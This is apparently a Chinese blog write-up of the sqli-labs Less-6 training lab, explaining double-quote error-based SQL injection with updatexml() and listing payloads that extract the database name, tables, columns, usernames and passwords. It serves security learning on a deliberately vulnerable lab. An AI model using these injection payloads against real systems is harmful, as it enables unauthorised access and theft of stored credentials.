首先输入id=1和id=1’未报错,均显示You are in.....(如下图所示)

由上图可以看到,如果运行返回结果正确的时候只返回you are in...,不会返回数据库当中的信息了,可以从这里知道可能跟前面less-5差不多,那么我们再尝试一下id=1”

可以看到输出结果显示错误,说明这里也是使用的报错注入的方法来显示我们想要得到的结果,但是与less-5不同的是,这里使用的是双引号,而less-5是单引号。

前面less-5我们使用的是floor函数,这里我们也可使用,所有注入语句一样,只是在less-5的基础上由单引号变成双引号即可。

这里我就不再使用floor函数了,我们来使用一个新的函数:updatexml()

首先我们来了解一下update这个函数

固定格式:updatexml(a,Xpath,b)表示在文档a中,查找 Xpath 格式的内容 替换b内容

前面less-5我们知道conact(a,b,c,…)表示用来连接括号内的字符串

我们知道了这个函数如何使用后,以我们前面的基础直接就可以开始注入啦!

爆数据库名称

输入-1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

可以看到数据库名为security

爆数据库下的表名称

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),0x7e),1)--+

可以看到security数据库下有4个表

爆表下的字段

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)--+

可以看到表下有三个字段

爆users表里面username字段

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(username) from  users),0x7e),1)--+

从上图可以看到爆出的用户名有5个。

爆users表里面password字段

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(password) from  users),0x7e),1)--+

以上就是通过updatexml函数报错注入来输出我们想要的结果。

随机推荐

  1. QT 学习基础问题记录

    1. connect 函数 需要先创建发送者和接收者实例,并且信号函数和槽函数如果有参数,需要在 connect 函数使用时指定相关参数类型. 2.窗口控件设置 设置窗口的最大化.最小化.问号提示等控 ...

  2. python知识架构

    如果看不清可以右键图片打开新的标签页 原文链接:https://blog.csdn.net/oscer2016/article/details/80129284

  3. java网站架构演变过程

    网站架构演变过程. .传统架构.传统的SSH架构,分为三层架构web控制层.业务逻辑层.数据库访问层..传统架构也就是单点应用,就是大家在刚开始初学JavaEE技术的时候SSH架构或者SSM架构,业务 ...

  4. CLRS10.2-8练习 - 单指针值实现双向链表

    要求: Explain how to implement doubly linked lists using only one pointer value x.np peritem instead o ...

  5. nginx通过自定义header属性来转发不同的服务

    一.背景 因为需要上线灰度发布,只要nginx接收到头部为: wx_unionid: 就会跳转到另外一个url,比如: 通过配置nginx 匹配请求头wx_unionid 来转发到灰度环境.核心:客户 ...

  6. netcore 实现跨应用的分布式session

    需求场景 网站a,域名为 a.site.com 网站b, 域名为 b.site.com 需要在a.b两个站点之间共享session 解决方案 使用redis作为分布式缓存存储 设置sessionId ...

  7. Go defer 会有性能损耗,尽量不要用?

    上个月在 @polaris @轩脉刃 的全栈技术群里看到一个小伙伴问 “说 defer 在栈退出时执行,会有性能损耗,尽量不要用,这个怎么解?”. 恰好前段时间写了一篇 <深入理解 Go def ...

  8. loj#10067 构造完全图(最小生成树)

    题目 loj#10067 构造完全图 解析 和kruscal类似,我们要构造一个完全图,考虑往这颗最小生成树里加边 我们先把每一条边存下来, 把两个端点分别放在不同的集合内,记录每个集合的大小,然后做 ...

  9. (转) Python3—UnicodeEncodeError 'ascii' codec can't encode characters in position 0-1

    (转)python(三):Python3-UnicodeEncodeError 'ascii' codec can't encode characters in position 0-1 python ...

  10. JAVA9之后废弃newInstance()方法

    JAVA9之后废弃newInstance()方法 根据JAVA11的API 我们可以看见反射中的newInstance()方法不推荐使用了,用 clazz.getDeclaredConstructor ...